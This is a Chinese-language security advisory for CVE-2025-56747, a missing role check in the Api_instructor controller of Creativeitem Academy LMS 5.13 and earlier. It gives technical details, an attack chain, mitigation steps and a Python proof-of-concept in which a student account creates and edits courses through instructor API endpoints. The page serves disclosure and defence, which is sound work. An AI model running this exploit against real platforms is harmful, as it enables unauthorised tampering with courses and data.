IPBUF安全漏洞报告
English
CVE-2025-56747 CVSS 6.5 中危

CVE-2025-56747:Academy LMS权限提升漏洞

披露日期: 2025-10-14

漏洞信息

漏洞编号
CVE-2025-56747
漏洞类型
权限提升
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Creativeitem Academy LMS

相关标签

权限提升访问控制缺陷Academy LMSCreativeitemAPI安全RBACOWASP Top 10CVE-2025-56747中危漏洞LMS平台

漏洞概述

CVE-2025-56747是Creativeitem Academy LMS(学习管理系统)中存在的一个权限提升漏洞,影响版本包括5.13及以下所有版本。该漏洞位于Api_instructor控制器中,由于缺少适当的角色验证机制,导致普通已认证用户能够访问仅限讲师(instructor)角色的功能接口。攻击者可以利用此漏洞绕过权限检查,未经授权地执行课程创建和管理等操作,从而获得超越其应有权限的能力。

Academy LMS是一款广泛使用的在线学习管理平台,支持课程发布、学生管理、作业提交等功能。在该平台的架构中,讲师角色拥有创建、编辑和管理课程的权限,而普通学生用户通常仅能浏览和参与课程。由于Api_instructor控制器未对调用者的角色进行充分验证,形成了权限提升的攻击面。

该漏洞的CVSS 3.1评分为6.5,属于中危级别。攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需权限(PR:N),无需用户交互(UI:N),对机密性和完整性产生低影响(C:L/I:L),对可用性无影响(A:N)。虽然该漏洞不需要特殊权限即可利用,但实际上需要攻击者拥有一个有效的普通用户账户。漏洞的存在使得攻击者能够以讲师身份执行操作,可能导致未授权的课程内容创建、数据篡改等安全问题,对平台的正常使用和管理秩序构成威胁。

技术细节

该漏洞的核心问题在于Academy LMS的Api_instructor控制器缺少适当的角色验证(Role-Based Access Control, RBAC)机制。在正常的系统设计中,Api_instructor控制器下的API端点应当仅允许具有讲师角色的用户访问,但实际实现中未对用户角色进行充分检查。

从技术层面分析,漏洞的利用过程如下:

1. 攻击者首先需要拥有一个普通学生角色的有效账户,通过正常的注册和登录流程获取认证凭证。

2. 攻击者在获得认证会话后,直接向Api_instructor控制器下的API端点发送请求。由于控制器未检查用户角色属性(如role字段是否为'instructor'),服务器会将普通用户的请求视为合法讲师请求进行处理。

3. 攻击者可以利用此权限绕过,创建新课程、修改课程内容、发布课程、管理学生等原本仅限讲师的操作。

4. 漏洞的根本原因是后端控制器在处理API请求时,仅验证了用户是否已认证(Authentication),但未验证用户是否具有执行该操作的授权(Authorization)。这是一种典型的Broken Access Control(失效的访问控制)漏洞,属于OWASP Top 10中的常见安全问题。

攻击者通过简单的HTTP请求即可利用此漏洞,无需复杂的payload或特殊工具,利用门槛较低,但需要有效的用户凭证。

攻击链分析

STEP 1
步骤1:获取普通用户凭证
攻击者通过正常注册流程在目标Academy LMS平台上创建一个普通学生账户,获取有效的登录凭证。
STEP 2
步骤2:用户认证
攻击者使用普通学生账户登录系统,获取有效的认证会话(Session/Cookie),完成身份验证。
STEP 3
步骤3:访问讲师API端点
攻击者利用已认证的会话,直接访问Api_instructor控制器下的API端点。由于控制器缺少角色验证,服务器未拒绝该请求。
STEP 4
步骤4:执行特权操作
攻击者成功以讲师权限执行课程创建、编辑、发布等操作,实现从普通用户到讲师权限的提升。
STEP 5
步骤5:持久化与影响扩大
攻击者利用获得的讲师权限创建恶意课程内容、篡改现有课程数据,或进一步利用平台功能扩大攻击影响。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-56747 - Academy LMS Privilege Escalation PoC # Exploits missing role validation in Api_instructor controller import requests # Configuration TARGET_URL = "https://target-academy-lms.com" USERNAME = "[email protected]" PASSWORD = "password123" # Step 1: Login as a regular student user session = requests.Session() login_url = f"{TARGET_URL}/login" login_data = { "email": USERNAME, "password": PASSWORD } response = session.post(login_url, data=login_data) print(f"[*] Login response status: {response.status_code}") # Step 2: Access instructor-only API endpoint without proper role validation # The Api_instructor controller fails to verify user role instructor_api_url = f"{TARGET_URL}/api/instructor/courses" # Step 3: Create a new course as a regular user (privilege escalation) course_data = { "title": "Malicious Course", "description": "Course created via privilege escalation", "category": "hacking", "price": 0, "status": "active" } response = session.post(instructor_api_url, json=course_data) print(f"[*] Course creation response: {response.status_code}") print(f"[*] Response body: {response.text}") # Step 4: Verify the privilege escalation was successful if response.status_code == 200 or response.status_code == 201: print("[+] Privilege escalation successful! Course created with student account.") else: print("[-] Exploitation failed.") # Alternative: Direct API call to instructor functions headers = { "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest" } # Attempt to manage courses without instructor role manage_url = f"{TARGET_URL}/api/instructor/course/update" update_data = { "course_id": 1, "title": "Updated by attacker" } response = session.post(manage_url, json=update_data, headers=headers) print(f"[*] Course update response: {response.status_code}")

影响范围

Creativeitem Academy LMS <= 5.13

防御指南

临时缓解措施
在官方修复版本发布之前,建议管理员采取以下临时缓解措施:1)在Web应用防火墙(WAF)或反向代理层面添加规则,限制对/api/instructor/*路径的访问,仅允许特定IP或用户角色访问;2)在服务器配置中临时禁用Api_instructor控制器的相关端点;3)加强账户监控,审查所有普通用户的异常活动日志,特别是课程创建和修改记录;4)限制普通用户账户的功能权限,直到漏洞修复完成。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表